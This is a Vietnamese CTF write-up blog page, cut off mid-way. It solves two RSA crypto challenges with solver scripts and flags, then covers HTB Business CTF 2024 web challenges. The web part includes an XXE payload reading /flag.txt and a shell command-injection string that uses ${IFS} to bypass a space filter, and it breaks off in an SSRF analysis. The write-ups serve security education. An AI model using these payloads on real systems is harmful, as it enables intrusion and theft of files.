<li><p>Có được \(s_2\) thì ta thay vào phương trình \((1)\) là có \(c_5\), bài toán kết thúc. Nhưng mà chúng ta chưa có modulus \(n\). Vậy việc cần làm đầu tiên là tìm lại modulus \(n\).</p>
</li>
<li><p>Đầu tiên ta lấy phương trình \((3)\) trừ phương trình \((2)\) và lấy phương trình \((4)\) trừ phương trình \((3)\) được hai phương trình như sau:</p>
</li>
</ul>
<p>$$c_3 - c_2 = c_2^e - c_1^e \mod n$$</p><p>$$c_4 - c_3 = c_3^e - c_2^e \mod n$$</p><ul>
<li>Chuyển vế phải sang và bỏ phép \(\mod n\) ta được hai phương trình sau:</li>
</ul>
<p>$$c_3 - c_2 - (c_2^e - c_1^e) = 0 + k_1 \times n \hspace{5mm} (*)$$</p><p>$$c_4 - c_3 - (c_3^e - c_2^e) = 0 + k_2 \times n \hspace{5mm} (**)$$</p><ul>
<li><p>Vì đã có các giá trị \(c_2, c_3, c_4\) nên khi ta tính \(GCD\) của biểu thức \((*)\) và \((**)\) thì ta sẽ có ước chung là giá trị \(n\), bài toán kết thúc.</p>
</li>
<li><p><strong>Script:</strong></p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256
  <span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
  <span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad 

  e = <span class="hljs-number">10001</span>
  c1 = <span class="hljs-number">983988808468238406815261032742287398509539527772118186899154605157252213084385662543553125083212552614855410938487363846612472902230851873122019688775351</span> 
  c2 = <span class="hljs-number">411920476721397965776323967885506259683504493586810231951685564745710311651646483406456114404428768195904417807999931167817184410508419226228074455888655</span>
  c3 = <span class="hljs-number">4698285906809496129283017525468414276062165111247080417389967682278838749600348577192449627647158658589122409242574072399131912703350920146158705409829488</span>
  c4 = <span class="hljs-number">2355255751438494111558900855149710130746636811000805924350928855795353027981395558758632216685403335142820213370399046347758646897427052652845539550759589</span>
  ct = <span class="hljs-string">"b83519144a6ec70cf1d97e7b2bb952036e77260cac361ed742a190b3dddd1954717c41c8d8baaff729245b9a80e70e52d13150d59e12b6840f590102cb8a0891"</span>

  n1 = c3 - c2 - (pow(c2, e) - pow(c1, e))
  n2 = c4 - c3 - (pow(c3, e) - pow(c2, e))

  n = GCD(n1, n2)
  s2 = (c4 - pow(c3, e, n)) % n
  c5 = pow(c4, e, n) + s2
  key = sha256(str(c5).encode()).digest()[:<span class="hljs-number">16</span>]
  cipher = AES.new(key, AES.MODE_ECB)
  print(cipher.decrypt(bytes.fromhex(ct)))
</code></pre>
</li>
</ul>
<p>Flag: KCSC{1_607_570m4ch4ch3_b34c4u53_347_700_much_1c3cr34m}</p>
<h3 id="heading-crypto-2-hard">Crypto 2 (hard)</h3>
<p><img src="https://hackmd.io/_uploads/Sy-1HAswkl.png" alt /></p>
<ul>
<li><p><strong>Source:</strong></p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">from</span> os <span class="hljs-keyword">import</span> urandom

  flag = <span class="hljs-string">b"KCSC{fake_flag}"</span>
  padding = urandom(<span class="hljs-number">1000</span> - len(flag))
  flag = padding[: (<span class="hljs-number">1000</span> - len(flag))//<span class="hljs-number">2</span>] + flag + padding[(<span class="hljs-number">1000</span> - len(flag))//<span class="hljs-number">2</span> :]

  p = getPrime(<span class="hljs-number">1024</span>)
  q = getPrime(<span class="hljs-number">512</span>)
  e = <span class="hljs-number">0x10001</span>

  n = p * q
  c = pow(bytes_to_long(flag), e, n)

  key = q
  ks = []
  noises = []

  <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">15</span>):
      noise = key + <span class="hljs-number">3</span>*i + <span class="hljs-number">5</span>
      noise_inv = inverse(noise, p)
      k = (noise_inv * noise - <span class="hljs-number">1</span>) // p

      ks.append(k)
      noises.append(noise_inv % <span class="hljs-number">2</span>**<span class="hljs-number">562</span>)

  <span class="hljs-keyword">with</span> open(<span class="hljs-string">"data.txt"</span>,<span class="hljs-string">"w"</span>) <span class="hljs-keyword">as</span> f:
      f.write(<span class="hljs-string">f"<span class="hljs-subst">{n = }</span>\n<span class="hljs-subst">{noises = }</span>\n<span class="hljs-subst">{ks = }</span>\n"</span>)
</code></pre>
</li>
<li><p><strong>data.txt</strong></p>
<pre><code class="lang-python">  c = <span class="hljs-number">958390793518378697087296421800510334363447372842473258361270888061359845988062617160847787493538009149015476122598987518417419094843072448103313497164473296044057151262149271633030868336861854949936583056107714557666720454320727670426024759878104055294508600827276053390768097909341499650595336630811407938767958056612000718155852086280949620705266088823405319610741770144481342370840316322962959361700770145395482234905665577476137556580613854059161166908076563</span>
  noises = [<span class="hljs-number">7855711876569802238862413165275600906813725762035718788939102158061380227877261762058163252276012974919613869744386471326379360599551714048814350682844653203632596811700</span>, <span class="hljs-number">11016762668854429203921748552171961540330601718050664348323205797201647566906360457303813510699134610808048666995818660000595371281648507789977635794049527374670915074820</span>, <span class="hljs-number">11546537801915447264802137334545592446958309083548637512152243512181257950929398818955898367116157381845553377528332628838810077828034595899755565832327915425781910578439</span>, <span class="hljs-number">14830729778111523754153466930320460677549254575098428551135275406990012856666239121852688775241624133868906117915735977555517436901488865149110824895148729747382400302735</span>, <span class="hljs-number">12907187256704172729107731584833713827465378465099977282577640066526827100848547817920519272964340115432388355503430889687196818282392932653498115462633041044503277974348</span>, <span class="hljs-number">12138846625255592521563612083084082981604248578123108209967521720915214134631110004822440010797002143437417645081236617079726153719130327393125423457708193164785079343086</span>, <span class="hljs-number">739523797727999924234547033495024454536077879042322224023692246011372669433295815544499023380041352962654821966906221244535621757121658976493022103991684410944260441162</span>, <span class="hljs-number">10912720975459354397739596143674407139194119895970368719866752943212477569655440757739848406867091021804581233694510089684679552007293849432444225461324183971137511847850</span>, <span class="hljs-number">5808807130421099726863129210954911380673640771955929374201995801529194903892832719794393448564558695251305267337407921976623897457446026039650140168312597722101737867377</span>, <span class="hljs-number">6870714010059053187003558056421661621211755459105144640275368103761664542845966933600910306834129475974876509027992589543452526949905158943937805162971925181177623545706</span>, <span class="hljs-number">14001977026303213753344771778959822998356523953467938417570588825474587458038917314981845799115762940916991783878210493664223158815126302912780685563402149348230275770190</span>, <span class="hljs-number">2703973027755031256526864275850359824471693408893668839490715558453757417896110268005975650433171168484478679910175856477619764900062649145928051355223654355802268429828</span>, <span class="hljs-number">2197799411096076134244174423868396977861502716614420367844698041028287534815946837970931537722713608970852047499736568341768228551190841854816687141278293724986033804833</span>, <span class="hljs-number">6075559627298470723737160139773692997034806166978942024860600924417526676075369730013184451780131430065519578644230326849609926904745308079312413920535221565905507405787</span>, <span class="hljs-number">6192265537641579777321105222372552667784798470028740666393274098101434097162631461434169230747053524655097972801202035288143826479354640729278654236265719132207498664412</span>]
  ks = [<span class="hljs-number">188342419899480149536884744017610449040092383019272248788959474691994413969719059118388685743603155504636227720165256840721069157015807449049211460253193</span>, <span class="hljs-number">2524032492075863404568209983324668522574966560976022920474303041695931745292134024805133065252540879869398798070277250051370058237130781549140268588979741</span>, <span class="hljs-number">3668089499830133831067934187396832654741712179290611321105361394043708714207354289456329073317267896181461996357656482682562832756019136386463281668147597</span>, <span class="hljs-number">787787910858589886444577841106414412143077182871445558404189242413347285556605603096222171073736492222727597718358413446678740896394491930381038665121984</span>, <span class="hljs-number">5969746486150167662037133056426653272095571564362080467447908647771862414810883039477641097271866604770772719228490891456621179456874478543312762101011945</span>, <span class="hljs-number">3953217233915265744392631383349005252504986319285163722465977735607534480220118278786439611479721354895554188803942058684275260525947213712273507161369083</span>, <span class="hljs-number">4703008646650559151263915675980342869678582333983285387772678033375440253018051362888097872035173512023181428217784439917007569473323902339013784947548817</span>, <span class="hljs-number">4501690793684706714453057890878006909948693156550389759496860753395691942571265613093123643690372231103171045523407714153581252263042363624513611315744787</span>, <span class="hljs-number">2874911234935885776724870513977581714604232366383062929938550655871436461399856184577119939177694657465354516516047758735724966092696982807333754161121763</span>, <span class="hljs-number">6807368946443140675648934273041372592283914654163350087761898286033102359032462642892185826153908771772176615450328348070881136865613927396914213307028823</span>, <span class="hljs-number">278211494072033197885754804219785966600017003124368934336640552995267695544391267083052940908660042483493904705872074416528235534610757303534430447847433</span>, <span class="hljs-number">1558365191956305255182334966416705368442755011866281958336373678292946152152443736046507333024441976071233683858273758166768326012234742351338218885065893</span>, <span class="hljs-number">3485367897376122736793872341240247397026215356530797459918379349421401150937114097374676678036857389576159611944092267415794839255765051218093322919755447</span>, <span class="hljs-number">2515456897351178494301823923332414671089420746643455306358829413922283380911750878593348268259769997426299206977825772717836168569349433038297458642933154</span>, <span class="hljs-number">4092447245860483948794687799772397211468262697039308695517969469204107269630882626451514975266106190665554492836842864230426192321181584429136242874419201</span>]
</code></pre>
</li>
<li><p>Một Challenge khó về Lattice, mình cũng chưa thể hiểu tường tận Lattice nên nếu bên dưới mình có nhầm lần hay ghi gì chưa đúng thì các bạn nhắc mình nha.</p>
</li>
<li><p>Trong khi giải diễn ra thì mình không làm được bài này nên sau khi giải kết thúc mình có thao khảo <a target="_blank" href="@nomorecaffeine"><strong>Wu</strong></a> của anh <strong>@nomorecaffeine</strong> để làm theo, anh giải thích rất chi tiết nên mình thấy bài này rất hay và dễ hiểu, sau đây là wu của mình về những gì mình hiểu.</p>
</li>
<li><p>Đọc sơ qua <strong>source</strong> thì mình thấy rằng <strong>Flag</strong> được mã hóa bằng <strong>RSA</strong> với mũ \(e = 65537\) nên ta phải tìm được hai số nguyên tố \(\text{p,q}\) thì mới giải mã \(\text{c}\) được.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762601507004/27ec34f8-f66f-4402-92b5-ab273d099eec.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Source cho ta các dữ kiện sau:</li>
</ul>
<p>$$\begin{split} \text{noises} &amp;= [\text{noise}{\text{inv256_0}}, \text{noise}{\text{inv256_1}},\text{noise}{\text{inv256_2}}, \dots, \text{noise}{\text{inv256_14}}]\\ \text{ks} &amp;= [\text{k}_0,\text{k}_1, \text{k}2, \dots, \text{k}{14}] \end{split}$$</p><ul>
<li><p>Phân tích đoạn sau:</p>
<pre><code class="lang-python">  key = q
  ks = []
  noises = []

  <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">15</span>):
      noise = key + <span class="hljs-number">3</span>*i + <span class="hljs-number">5</span>
      noise_inv = inverse(noise, p)
      k = (noise_inv * noise - <span class="hljs-number">1</span>) // p

      ks.append(k)
      noises.append(noise_inv % <span class="hljs-number">2</span>**<span class="hljs-number">562</span>)
</code></pre>
</li>
<li><p>Biết được công thức \(\text{noise}_{\text{inv256_i}}\) là:</p>
</li>
</ul>
<p>$$\text{noise}{\text{inv256_i}} \equiv \text{noise}{\text{inv_i}} \pmod {2^{562}} \hspace{5mm} (*)$$</p><ul>
<li>Giá trị \(\text{k}_{\mathbf{i}}\) là:</li>
</ul>
<p>$$\text{noise}{\text{inv_i}} \times \text{noise}{\mathbf{i}}= 1 + \text{k}_{{\mathbf{i}}} \times \text{p} \hspace{5mm} \forall \mathbf{i} \in \left\{ 0,1,2,\cdots 14\right\} \hspace{5mm} (**)$$</p><ul>
<li><p>Ý tưởng của tác giả là phải tìm được \(\text{p}\) và \(\text{q}\) thông qua các phương trình \((**)\)</p>
</li>
<li><p>Có hai mục tiêu ta cần phải làm đó là tìm <strong>p</strong> và tìm <strong>q</strong>, phải tìm cả hai vì Challenge chưa cho <strong>n</strong>. Ta sẽ dựa vào phương trình \((**)\) để đi tìm <strong>q</strong> trước.</p>
</li>
<li><p>Đầu tiên, từ \((*)\) Ta biến đổi giá trị của \(\text{noise}_{\text{inv}}\) thành:</p>
</li>
</ul>
<p>$$\text{noise}{\text{inv_i}} = \text{noise}{\text{inv256_i}} + \text{a}_{\mathbf{i}} \times 2^{562} \hspace{5mm} \forall \mathbf{i} \in \left\{ 0,1,2,\cdots 14\right\} \hspace{5mm} (1)$$</p><ul>
<li>Tiếp theo <strong>mod</strong> giá trị của \(\text{p}\) với \(2^{562}\) và bỏ phép mod, ta được:</li>
</ul>
<p>$$\text{p} = \text{p'} + \text{b} \times 2^{562} \hspace{5mm} (2)$$</p><ul>
<li>Thế cả \((1)\) và \((2)\) vào phương trình \((**)\) được:</li>
</ul>
<p>$$(\text{noise}{\text{inv256_i}} + \text{a}{\mathbf{i}} \times 2^{562}) \times \text{noise}{\mathbf{i}} = 1 + \text{k}{{\mathbf{i}}} \times (\text{p'} + \text{b} \times 2^{562})$$</p><ul>
<li>Phân phối, chuyển vế các giá trị chứa \(2^{562}\) sang bên trái, ta được:</li>
</ul>
<p>$$\text{a}{\mathbf{i}} \times \text{noise}{\mathbf{i}} \times 2^{562} - \text{k}{{\mathbf{i}}} \times \text{b} \times 2^{562} = 1 - \text{noise}{\text{inv256_i}} \times \text{noise}{\mathbf{i}} + \text{k}{{\mathbf{i}}} \times\text{p'} \hspace{5mm} (***)$$</p><ul>
<li>Sau đó ta <strong>mod</strong> hai vế cho \(2^{562}\) và được phương trình mới:</li>
</ul>
<p>$$1 - \text{noise}{\text{inv256_i}} \times \text{noise}{\mathbf{i}} + \text{k}_{{\mathbf{i}}} \times\text{p'} \equiv 0 \pmod {2^{562}}$$</p><p>$$\Leftrightarrow 1 - \text{noise}{\text{inv256_i}} \times (\text{q} + 3 \times \mathbf{i} + 5) + \text{k}{{\mathbf{i}}} \times\text{p'} \equiv 0 \pmod {2^{562}} \hspace{5mm} \forall \mathbf{i} \in \left\{ 0,1,2,\cdots 14\right\}$$</p><ul>
<li><p>Đây là một phương trình modulo có <strong>hai</strong> ẩn là \(\text{q}\) và \(\text{p'}\), và có đến 15 phương trình nên việc giải hệ này là khả thi.</p>
</li>
<li><p>Có nhiều cách giải hệ nhưng mình sẽ thử cách mới mà hồi giờ chưa dùng đó là sử dụng phương thức <strong>groebner_basis()</strong> của thư viện <code>sagemath</code>, dùng để đơn giản tập sinh của một <strong>Ideal</strong> trong vành đa thức. Hay có thể hiểu là nó giúp đơn giản hóa phương trình ban đầu và biến nó thành một phương trình đơn giản, dễ giải hơn.</p>
</li>
<li><p><strong>Code</strong>:</p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> sage.all <span class="hljs-keyword">import</span> *
  x, y = PolynomialRing(Zmod(<span class="hljs-number">2</span>**<span class="hljs-number">562</span>), [<span class="hljs-string">"x"</span>, <span class="hljs-string">"y"</span>]).gens()

  I = Ideal([
      <span class="hljs-number">1</span> - noises[<span class="hljs-number">0</span>] * (x + <span class="hljs-number">5</span>) + ks[<span class="hljs-number">0</span>] * y,
      <span class="hljs-number">1</span> - noises[<span class="hljs-number">1</span>] * (x + <span class="hljs-number">8</span>) + ks[<span class="hljs-number">1</span>] * y,
      <span class="hljs-number">1</span> - noises[<span class="hljs-number">2</span>] * (x + <span class="hljs-number">11</span>) + ks[<span class="hljs-number">2</span>] * y
  ])
  print(I.groebner_basis())
  <span class="hljs-comment">#[x + 15095849699286157176165192141574519938693899918427427740708979667686108913040888895928594081761428218515984585906870777122468994835321959450919640276403457857023062016735, y + 8046359343118037782228277823598020857453001371030183803247456593467443731321455063833959619491793509652535546439016536857407146846080157709770883346704338364262578059073]</span>
</code></pre>
</li>
<li><p>Có thể thấy là hệ phương trình của ta đã được đơn giản hóa thành dạng \(x + a \equiv 0 \pmod {2^{562}}\) và \(y + b \equiv 0 \pmod {2^{562}}\) để có \(\text{q}\) và \(\text{p'}\) ta chỉ cần tính:</p>
</li>
</ul>
<p>$$\left\{\begin{matrix} \text{q} = 2^{562} - a \\ \text{p'} = 2^{562} - b \end{matrix}\right.$$</p><blockquote>
<p>Vậy là tính được \(q\) rồi, mục tiêu tiếp theo là tìm \(p\)</p>
</blockquote>
<ul>
<li><p>Có \(\text{q}\) và \(\text{p'}\) thì ta sẽ đi tìm \(\text{b}\), vì \(\text{p} = \text{p'} + \text{b} \times 2^{562}\) nên ta chỉ cần đi tìm \(\text{b}\) là có \(\text{p}\).</p>
</li>
<li><p>Đặt \(\text{noise}_{\mathbf{i}} = n_{\mathbf{i}}\). Dựa vào phương trình \((***)\) ta lập được một cơ sở <strong>Lattice</strong> như sau:</p>
</li>
</ul>
<p>$$M = \begin{pmatrix} -k_0 \cdot 2^{562} &amp;-k_1 \cdot 2^{562} &amp;\cdots &amp;-k_{14} \cdot 2^{562} &amp;1 &amp; &amp; &amp; &amp; &amp;\\ n_0 \cdot 2^{562} &amp;0 &amp;\cdots &amp;0 &amp; &amp;1 &amp; &amp; &amp; &amp;\\ &amp; n_1 \cdot 2^{562} &amp;\cdots &amp;0 &amp; &amp; &amp;1 &amp; &amp; &amp;\\ \vdots &amp;\vdots &amp;\ddots &amp;\vdots &amp; &amp; &amp; &amp; \ddots &amp; &amp;\\ &amp; &amp;\cdots &amp;n_{14} \cdot 2^{562} &amp; &amp; &amp; &amp; &amp;1 &amp; \\ -v_0 &amp;-v_1 &amp;\cdots &amp;-v_{14} &amp; &amp; &amp; &amp; &amp; &amp;1 \end{pmatrix}$$</p><blockquote>
<p><em>Với vi là vế phải của phương trình</em> \((***)\)<em>.</em></p>
</blockquote>
<ul>
<li>Sau khi áp dụng <strong>LLL</strong> với ma trận <strong>M</strong>, ta sẽ được một vector chứa 32 phần tử như sau:</li>
</ul>
<p>$$[0, 0, \dots, 0, \text{b}, a_0, a_1, \dots, a_{14}, 1]$$</p><blockquote>
<p>Giá trị b sẽ nằm ở <strong>index</strong> thứ 15.</p>
</blockquote>
<ul>
<li><p><strong>Code:</strong></p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> sage.all <span class="hljs-keyword">import</span> *
  <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *

  M = []
  vs = []

  q = <span class="hljs-number">8232801026182378555624973784963238333972795845533296387736527706512415912818949206851649888914216184602476613343684377211079326096729327326317574519291169</span>
  p_ = <span class="hljs-number">7049490356168127626737940500355054706214683510635577910257368607515052918247140344510547281218841560513337953684038842741675191673619012820474853659026445810335003248831</span>

  <span class="hljs-keyword">assert</span> is_prime(q)

  M.append([-ks[i] * <span class="hljs-number">2</span>**<span class="hljs-number">562</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">15</span>)])

  <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">15</span>):
      d = q + <span class="hljs-number">3</span> * i + <span class="hljs-number">5</span>
      v = -(<span class="hljs-number">1</span> - d * noises[i] + ks[i] * p_)
      vs.append(v)

      row = [<span class="hljs-number">0</span>]*(<span class="hljs-number">15</span>)
      row[i] = d * <span class="hljs-number">2</span>**<span class="hljs-number">562</span>
      M.append(row)

  M.append(vs)

  M = matrix(M)
  M = M.augment(identity_matrix(<span class="hljs-number">17</span>))
  L = M.LLL()

  print(L[<span class="hljs-number">0</span>][<span class="hljs-number">15</span>])
</code></pre>
</li>
<li><p>Giá trị \(\text{b}\):</p>
<p>  <img src="https://hackmd.io/_uploads/rkIFeW7YJg.png" alt="image" /></p>
</li>
<li><p>Có \(\text{b}\) là có được \(\text{p}\) rồi, ta sẽ tính được khóa bí mật \(\text{d}\) và bài toán kết thúc:</p>
<pre><code class="lang-python">  <span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
  b = <span class="hljs-number">9973918226342931101713742759510102202832949751016016433335951379486864420606419272916855340660179601297616652770791167118160222182913331004</span>
  p_ = <span class="hljs-number">7049490356168127626737940500355054706214683510635577910257368607515052918247140344510547281218841560513337953684038842741675191673619012820474853659026445810335003248831</span>
  q = <span class="hljs-number">8232801026182378555624973784963238333972795845533296387736527706512415912818949206851649888914216184602476613343684377211079326096729327326317574519291169</span>
  c = <span class="hljs-number">958390793518378697087296421800510334363447372842473258361270888061359845988062617160847787493538009149015476122598987518417419094843072448103313497164473296044057151262149271633030868336861854949936583056107714557666720454320727670426024759878104055294508600827276053390768097909341499650595336630811407938767958056612000718155852086280949620705266088823405319610741770144481342370840316322962959361700770145395482234905665577476137556580613854059161166908076563</span>
  e = <span class="hljs-number">65537</span>

  p = p_ + <span class="hljs-number">2</span>**<span class="hljs-number">562</span> * b
  <span class="hljs-keyword">assert</span> isPrime(p) <span class="hljs-keyword">and</span> isPrime(q)

  n = p*q
  d = pow(e, <span class="hljs-number">-1</span>, n-p-q+<span class="hljs-number">1</span>)

  print(long_to_bytes(pow(c, d, n)))
</code></pre>
</li>
<li><p><strong>Flag:</strong></p>
<p>  <img src="https://hackmd.io/_uploads/HkXCZb7KJg.png" alt="image" /></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[HTB Business CTF 2024: The Vault Of Hope Write Up]]></title><description><![CDATA[Web
Jailbreak
credit: nartgnourt

Solution
Truy cập vào vào URL của challenge, mình thấy một trang web như sau:

Lần lượt xem qua từng tab trong menu, mình chú ý tới tab ROM, mình nghĩ có thể khai thác lỗ hổng XXE tại đây:

Ứng dụng cho phép mình nhậ...]]></description><link>https://blog.kcsc.edu.vn/htb-business-ctf-2024-the-vault-of-hope-write-up</link><guid isPermaLink="true">https://blog.kcsc.edu.vn/htb-business-ctf-2024-the-vault-of-hope-write-up</guid><category><![CDATA[Write Up]]></category><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><dc:creator><![CDATA[Anh Quỳnh]]></dc:creator><pubDate>Tue, 28 May 2024 07:37:22 GMT</pubDate><content:encoded><![CDATA[<hr />
<h1 id="heading-web">Web</h1>
<h1 id="heading-jailbreak">Jailbreak</h1>
<p><strong><em>credit: nartgnourt</em></strong></p>
<p><img src="https://github.com/nartgnourt/write-ups/raw/main/2024/htb-business-ctf-2024-the-vault-of-hope/jailbreak/images/jailbreak.png" alt="jailbreak" /></p>
<h3 id="heading-solution">Solution</h3>
<p>Truy cập vào vào URL của challenge, mình thấy một trang web như sau:</p>
<p><img src="https://github.com/nartgnourt/write-ups/raw/main/2024/htb-business-ctf-2024-the-vault-of-hope/jailbreak/images/jailbreak-1.png" alt="jailbreak-1" /></p>
<p>Lần lượt xem qua từng tab trong menu, mình chú ý tới tab ROM, mình nghĩ có thể khai thác lỗ hổng XXE tại đây:</p>
<p><img src="https://github.com/nartgnourt/write-ups/raw/main/2024/htb-business-ctf-2024-the-vault-of-hope/jailbreak/images/jailbreak-2.png" alt="jailbreak-2" /></p>
<p>Ứng dụng cho phép mình nhập vào dữ liệu với định dạng XML để cập nhật firmware. Trước tiên, mình thử nhấn nút Submit thì thấy giá trị của <code>Version</code> được trả về trong response:</p>
<p><img src="https://github.com/nartgnourt/write-ups/raw/main/2024/htb-business-ctf-2024-the-vault-of-hope/jailbreak/images/jailbreak-3.png" alt="jailbreak-3" /></p>
<p>Mình thử thay giá trị của nó thành <code>abc</code> và cũng nhận về response chứa <code>abc</code>:</p>
<p><img src="https://github.com/nartgnourt/write-ups/raw/main/2024/htb-business-ctf-2024-the-vault-of-hope/jailbreak/images/jailbreak-4.png" alt="jailbreak-4" /></p>
<p>Như vậy, mình có thể thử tham chiếu tới external entity trong phần tử <code>Version</code>. Bởi vì mô tả của challenge có nói flag nằm ở <code>/flag.txt</code> nên mình định nghĩa một external entity <code>&amp;abc;</code> với giá trị là nội dung của file <code>/flag.txt</code> bằng cách sử dụng payload sau:</p>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">foo</span> [<span class="hljs-meta">&lt;!ENTITY <span class="hljs-meta-keyword">abc</span> <span class="hljs-meta-keyword">SYSTEM</span> <span class="hljs-meta-string">"/flag.txt"</span>&gt;</span> ]&gt;</span>
</code></pre>
<p>Submit và mình đã thành công lấy được flag:</p>
<p><img src="https://github.com/nartgnourt/write-ups/raw/main/2024/htb-business-ctf-2024-the-vault-of-hope/jailbreak/images/jailbreak-5.png" alt="jailbreak-5" /></p>
<h3 id="heading-flag">Flag</h3>
<p><code>HTB{b1om3tric_l0cks_4nd_fl1cker1ng_l1ghts_fd953ca827f9938c299f77118208aa70}</code></p>
<h2 id="heading-htb-proxy">HTB Proxy</h2>
<p><strong><em>credit: Ngọc Trần</em></strong></p>
<p><code>Your team is tasked to penetrate the internal networks of a raider base in order to acquire explosives, scanning their ip ranges revealed only one alive host running their own custom implementation of an HTTP proxy, have you got enough wit to get the job done?</code></p>
<p>web_htb_proxy.zip</p>
<p>Challenge cung cấp cho chúng ta trang web tĩnh với nội dung cho biết một reverse proxy đang chạy</p>
<p><img src="https://hackmd.io/_uploads/HJNgOd2QA.png" alt="image" /></p>
<p>Hãy đi sâu vào phân tích source code ta có thể thấy, challenge cung cấp cho ta hai đoạn code xử lý với reverse proxy được xử lý bằng golang và backend được xử lý thông qua NodeJS</p>
<pre><code class="lang-plaintext">.
├── Dockerfile
├── build_docker.sh
├── challenge
│   ├── backend
│   │   ├── index.js
│   │   └── package.json
│   └── proxy
│       ├── go.mod
│       ├── includes
│       │   └── index.html
│       ├── main.go
│       └── test.py
├── config
│   └── supervisord.conf
├── entrypoint.sh
└── flag.txt
</code></pre>
<h3 id="heading-command-injection-in-ip-wrapper"><strong>Command Injection in ip-wrapper</strong></h3>
<p>Ở đoạn code xử lý backend, ta thấy hai routes được xử lý đó là <code>/getAddresses</code> và <code>/flushInterface</code>. Ở <code>/flushInterface</code>, có một đoạn xử lý đặc biệt <code>ipWrapper.addr.flush(interface)</code> giúp xóa tất cả các địa chỉ IP trong một <code>interface</code> cụ thể. Khi đi sâu vào lib, ta có thể thấy ở <code>flush</code>, đoạn code xử lý exec(<code>`ip address flush dev ${interfaceName}`, (error, stdout, stderr)</code></p>
<p><img src="https://hackmd.io/_uploads/SJP23unmC.png" alt="image" /></p>
<p>Với interfaceName ở đây được truyền vào thông qua params interface nói trên.</p>
<p>Wait, we can trigger RCE here !!!</p>
<p><img src="https://hackmd.io/_uploads/Hkew6d3mC.png" alt="image" /></p>
<p>Thay vì truyền một <code>interface</code> bình thường, ta hoàn toàn có thể trigger RCE thông qua việc truyền command <code>; mv /fl* /app/proxy/includes/index.html</code>. Tuy nhiên ta vẫn cần phải bypass qua xử lý middleware</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> validateInput = <span class="hljs-function">(<span class="hljs-params">req, res, next</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> { interface } = req.body;

    <span class="hljs-keyword">if</span> (
        !interface || 
        <span class="hljs-keyword">typeof</span> interface !== <span class="hljs-string">"string"</span> || 
        interface.trim() === <span class="hljs-string">""</span> || 
        interface.includes(<span class="hljs-string">" "</span>)
    ) {
        <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).json({<span class="hljs-attr">message</span>: <span class="hljs-string">"A valid interface is required"</span>});
    }

    next();
}
</code></pre>
<p>Ở đây ta thấy nó loại bỏ các khoảng trống trong <code>interface</code> truyền vào thông qua <code>trim()</code>, để bypass ta có thể truyền vào <code>${IFS}</code>. ($IFS là một biến đặc biệt trong shell nó chứa các ký tự khoảng trắng (khoảng trắng, tab, dấu xuống dòng)</p>
<p><img src="https://hackmd.io/_uploads/B1upkY3QC.png" alt="image" /></p>
<p>Như vậy thông qua phương thức flush ta hoàn toàn có thể trigger RCE thông qua <code>;mv${IFS}/fl*${IFS}/app/proxy/includes/index.html</code></p>
<p>Tuy nhiên vấn đề xảy ra khi ta không thể truy cập vào endpoint <code>flushInterface</code></p>
<p><img src="https://hackmd.io/_uploads/ByYRgF2mA.png" alt="image" /></p>
<p>Có vẻ đoạn code Golang xử lý reverse proxy đã chặn việc truy cập vào <code>/flushInterface</code></p>
<p>Ta tiếp tục phân tích đoạn code xử lý reverse proxy</p>
<p><img src="https://hackmd.io/_uploads/Sy4B-YhX0.png" alt="image" /></p>
<p>Đúng như mình dự đoán ở đây Golang đã chặn việc sử dụng endpoint <code>flushInterface</code> thông qua việc nó kiểm tra xem URL của yêu cầu có chứa chuỗi "flushinterface" (không phân biệt hoa thường) hay không và trả về <code>Not Allowed</code>.</p>
<h3 id="heading-ssrf-to-get-content">SSRF to get content</h3>
<p>Tiếp tục phân tích script xử lý golang mình tìm thấy một số đoạn code đáng chú ý:</p>
<pre><code class="lang-go"><span class="hljs-keyword">if</span> request.URL == <span class="hljs-keyword">string</span>([]<span class="hljs-keyword">byte</span>{<span class="hljs-number">47</span>, <span class="hljs-number">115</span>, <span class="hljs-number">101</span>, <span class="hljs-number">114</span>, <span class="hljs-number">118</span>, <span class="hljs-number">101</span>, <span class="hljs-number">114</span>, <span class="hljs-number">45</span>, <span class="hljs-number">115</span>, <span class="hljs-number">116</span>, <span class="hljs-number">97</span>, <span class="hljs-number">116</span>, <span class="hljs-number">117</span>, <span class="hljs-number">115</span>}) {
        <span class="hljs-keyword">var</span> serverInfo <span class="hljs-keyword">string</span> = GetServerInfo()
        <span class="hljs-keyword">var</span> responseText <span class="hljs-keyword">string</span> = okResponse(serverInfo)
        frontendConn.Write([]<span class="hljs-keyword">byte</span>(responseText))
        frontendConn.Close()
        <span class="hljs-keyword">return</span>
    }
</code></pre>
<p>Tại endpoint <code>/server-status</code>, nó sẽ trả về <code>GetServerInfo()</code></p>
<pre><code class="lang-go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">GetServerInfo</span><span class="hljs-params">()</span> <span class="hljs-title">string</span></span> {
    hostname, err := os.Hostname()
    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
        hostname = <span class="hljs-string">"unknown"</span>
    }

    addrs, err := net.InterfaceAddrs()
